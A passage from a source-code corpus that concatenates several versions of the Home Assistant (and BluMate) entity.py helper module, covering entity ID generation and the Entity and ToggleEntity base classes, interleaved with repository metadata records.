hass.loop, async_generate_entity_id, entity_id_format, name,
current_ids, hass
).result()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def async_generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def set_customize(customize: Dict[str, Any]) -> None:
"""Overwrite all current customize settings.
Async friendly.
"""
global _OVERWRITE
_OVERWRITE = {key.lower(): val for key, val in customize.items()}
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityComponent
hass = None # type: Optional[HomeAssistant]
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
def update(self):
"""Retrieve latest state.
When not implemented, will forward call to async version if available.
"""
async_update = getattr(self, 'async_update', None)
if async_update is None:
return
run_coroutine_threadsafe(async_update(), self.hass.loop).result()
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
# We're already in a thread, do the force refresh here.
if force_refresh and not hasattr(self, 'async_update'):
self.update()
force_refresh = False
run_coroutine_threadsafe(
self.async_update_ha_state(force_refresh), self.hass.loop
).result()
@asyncio.coroutine
def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
if hasattr(self, 'async_update'):
# pylint: disable=no-member
yield from self.async_update()
else:
# PS: Run this in our own thread pool once we have
# future support?
yield from self.hass.loop.run_in_executor(None, self.update)
state = STATE_UNKNOWN if self.state is None else str(self.state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
if unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT):
units = self.hass.config.units
state = str(units.temperature(float(state), unit_of_measure))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update)
def remove(self) -> None:
"""Remove entitiy from HASS."""
run_coroutine_threadsafe(
self.async_remove(), self.hass.loop
).result()
@asyncio.coroutine
def async_remove(self) -> None:
"""Remove entitiy from async HASS.
This method must be run in the event loop.
"""
self.hass.states.async_remove(self.entity_id)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def toggle(self, **kwargs) -> None:
"""Toggle the entity off."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
| {
"repo_name": "betrisey/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "10234",
"license": "mit",
"hash": 320749594929966850,
"line_mean": 30.8816199377,
"line_max": 79,
"alpha_frac": 0.609341411,
"autogenerated": false,
"ratio": 4.230673832162051,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5340015243162051,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
import logging
import re
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
# Entity attributes that we will overwrite
_OVERWRITE = {}
_LOGGER = logging.getLogger(__name__)
# Pattern for validating entity IDs (format: <domain>.<entity>)
ENTITY_ID_PATTERN = re.compile(r"^(\w+)\.(\w+)$")
def generate_entity_id(entity_id_format, name, current_ids=None, hass=None):
"""Generate a unique entity ID based on given entity IDs or used IDs."""
name = (name or DEVICE_DEFAULT_NAME).lower()
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.entity_ids()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def set_customize(customize):
"""Overwrite all current customize settings."""
global _OVERWRITE
_OVERWRITE = {key.lower(): val for key, val in customize.items()}
def split_entity_id(entity_id):
"""Split a state entity_id into domain, object_id."""
return entity_id.split(".", 1)
def valid_entity_id(entity_id):
"""Test if an entity ID is a valid format."""
return ENTITY_ID_PATTERN.match(entity_id) is not None
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
@property
def should_poll(self):
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self):
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self):
"""Return the name of the entity."""
return None
@property
def state(self):
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self):
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self):
"""Return True if entity is available."""
return True
@property
def assumed_state(self):
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self):
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
def update(self):
"""Retrieve latest state."""
pass
entity_id = None
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
hass = None
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
self.update()
state = STATE_UNKNOWN if self.state is None else str(self.state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
if attr.get(ATTR_UNIT_OF_MEASUREMENT) in (TEMP_CELSIUS,
TEMP_FAHRENHEIT):
state, attr[ATTR_UNIT_OF_MEASUREMENT] = \
self.hass.config.temperature(
state, attr[ATTR_UNIT_OF_MEASUREMENT])
state = str(state)
return self.hass.states.set(
self.entity_id, state, attr, self.force_update)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self):
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self):
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs):
"""Turn the entity on."""
raise NotImplementedError()
def turn_off(self, **kwargs):
"""Turn the entity off."""
raise NotImplementedError()
def toggle(self, **kwargs):
"""Toggle the entity off."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
| {
"repo_name": "Julian/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "4",
"size": "7581",
"license": "mit",
"hash": -5009298625016828000,
"line_mean": 28.4980544747,
"line_max": 79,
"alpha_frac": 0.6112650046,
"autogenerated": false,
"ratio": 4.202328159645233,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.6813593164245233,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
import logging
import re
from typing import Any, Optional, List, Dict
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
# pylint: disable=using-constant-test,unused-import
if False:
from homeassistant.core import HomeAssistant # NOQA
# Entity attributes that we will overwrite
_OVERWRITE = {} # type: Dict[str, Any]
_LOGGER = logging.getLogger(__name__)
# Pattern for validating entity IDs (format: <domain>.<entity>)
ENTITY_ID_PATTERN = re.compile(r"^(\w+)\.(\w+)$")
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: 'Optional[HomeAssistant]'=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
name = (name or DEVICE_DEFAULT_NAME).lower()
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.entity_ids()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def set_customize(customize: Dict[str, Any]) -> None:
"""Overwrite all current customize settings."""
global _OVERWRITE
_OVERWRITE = {key.lower(): val for key, val in customize.items()}
def split_entity_id(entity_id: str) -> List[str]:
"""Split a state entity_id into domain, object_id."""
return entity_id.split(".", 1)
def valid_entity_id(entity_id: str) -> bool:
"""Test if an entity ID is a valid format."""
return ENTITY_ID_PATTERN.match(entity_id) is not None
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
def update(self):
"""Retrieve latest state."""
pass
entity_id = None # type: str
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
hass = None # type: Optional[HomeAssistant]
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
self.update()
state = STATE_UNKNOWN if self.state is None else str(self.state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
if attr.get(ATTR_UNIT_OF_MEASUREMENT) in (TEMP_CELSIUS,
TEMP_FAHRENHEIT):
state, attr[ATTR_UNIT_OF_MEASUREMENT] = \
self.hass.config.temperature(
state, attr[ATTR_UNIT_OF_MEASUREMENT])
state = str(state)
return self.hass.states.set(
self.entity_id, state, attr, self.force_update)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def toggle(self, **kwargs) -> None:
"""Toggle the entity off."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
| {
"repo_name": "devdelay/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "8103",
"license": "mit",
"hash": 7584446987980322000,
"line_mean": 29.5773584906,
"line_max": 79,
"alpha_frac": 0.6106380353,
"autogenerated": false,
"ratio": 4.14052120592744,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.00023110781797172018,
"num_lines": 265
} |
"""An abstract class for entities."""
import logging
from typing import Any, Optional, List, Dict
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from homeassistant.core import HomeAssistant
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
# Entity attributes that we will overwrite
_OVERWRITE = {} # type: Dict[str, Any]
_LOGGER = logging.getLogger(__name__)
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
name = (name or DEVICE_DEFAULT_NAME).lower()
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.entity_ids()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def set_customize(customize: Dict[str, Any]) -> None:
"""Overwrite all current customize settings."""
global _OVERWRITE
_OVERWRITE = {key.lower(): val for key, val in customize.items()}
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
def update(self):
"""Retrieve latest state."""
pass
entity_id = None # type: str
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
hass = None # type: Optional[HomeAssistant]
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
self.update()
state = STATE_UNKNOWN if self.state is None else str(self.state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
if unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT):
units = self.hass.config.units
state = str(units.temperature(float(state), unit_of_measure))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
return self.hass.states.set(
self.entity_id, state, attr, self.force_update)
def remove(self) -> None:
"""Remove entitiy from HASS."""
self.hass.states.remove(self.entity_id)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def toggle(self, **kwargs) -> None:
"""Toggle the entity off."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
| {
"repo_name": "jawilson/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "7830",
"license": "mit",
"hash": -1016577403098156400,
"line_mean": 29.8267716535,
"line_max": 79,
"alpha_frac": 0.6107279693,
"autogenerated": false,
"ratio": 4.209677419354839,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0002445228771054557,
"num_lines": 254
} |
"""An abstract class for entities."""
import re
from collections import defaultdict
from blumate.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from blumate.exceptions import NoEntitySpecifiedError
from blumate.util import ensure_unique_string, slugify
# Dict mapping entity_id to a boolean that overwrites the hidden property
_OVERWRITE = defaultdict(dict)
# Pattern for validating entity IDs (format: <domain>.<entity>)
ENTITY_ID_PATTERN = re.compile(r"^(\w+)\.(\w+)$")
def generate_entity_id(entity_id_format, name, current_ids=None, hass=None):
"""Generate a unique entity ID based on given entity IDs or used IDs."""
name = (name or DEVICE_DEFAULT_NAME).lower()
if current_ids is None:
if hass is None:
raise RuntimeError("Missing required parameter currentids or hass")
current_ids = hass.states.entity_ids()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def split_entity_id(entity_id):
"""Split a state entity_id into domain, object_id."""
return entity_id.split(".", 1)
def valid_entity_id(entity_id):
"""Test if an entity ID is a valid format."""
return ENTITY_ID_PATTERN.match(entity_id) is not None
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
@property
def should_poll(self):
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self):
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self):
"""Return the name of the entity."""
return None
@property
def state(self):
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self):
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self):
"""Return True if entity is available."""
return True
@property
def assumed_state(self):
"""Return True if unable to access real state of the entity."""
return False
def update(self):
"""Retrieve latest state."""
pass
entity_id = None
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
hass = None
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
self.update()
state = STATE_UNKNOWN if self.state is None else str(self.state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
if attr.get(ATTR_UNIT_OF_MEASUREMENT) in (TEMP_CELSIUS,
TEMP_FAHRENHEIT):
state, attr[ATTR_UNIT_OF_MEASUREMENT] = \
self.hass.config.temperature(
state, attr[ATTR_UNIT_OF_MEASUREMENT])
state = str(state)
return self.hass.states.set(self.entity_id, state, attr)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
@staticmethod
def overwrite_attribute(entity_id, attrs, vals):
"""Overwrite any attribute of an entity.
This function should receive a list of attributes and a
list of values. Set attribute to None to remove any overwritten
value in place.
"""
for attr, val in zip(attrs, vals):
if val is None:
_OVERWRITE[entity_id.lower()].pop(attr, None)
else:
_OVERWRITE[entity_id.lower()][attr] = val
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self):
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self):
"""Return True if entity is on."""
return False
def turn_on(self, **kwargs):
"""Turn the entity on."""
pass
def turn_off(self, **kwargs):
"""Turn the entity off."""
pass
def toggle(self, **kwargs):
"""Toggle the entity off."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
| {
"repo_name": "bdfoster/blumate",
"path": "blumate/helpers/entity.py",
"copies": "1",
"size": "7561",
"license": "mit",
"hash": 6689434160667894000,
"line_mean": 29.003968254,
"line_max": 79,
"alpha_frac": 0.6069303002,
"autogenerated": false,
"ratio": 4.161254815630159,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.526818511583016,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
import re
from collections import defaultdict
from homeassistant.const import (
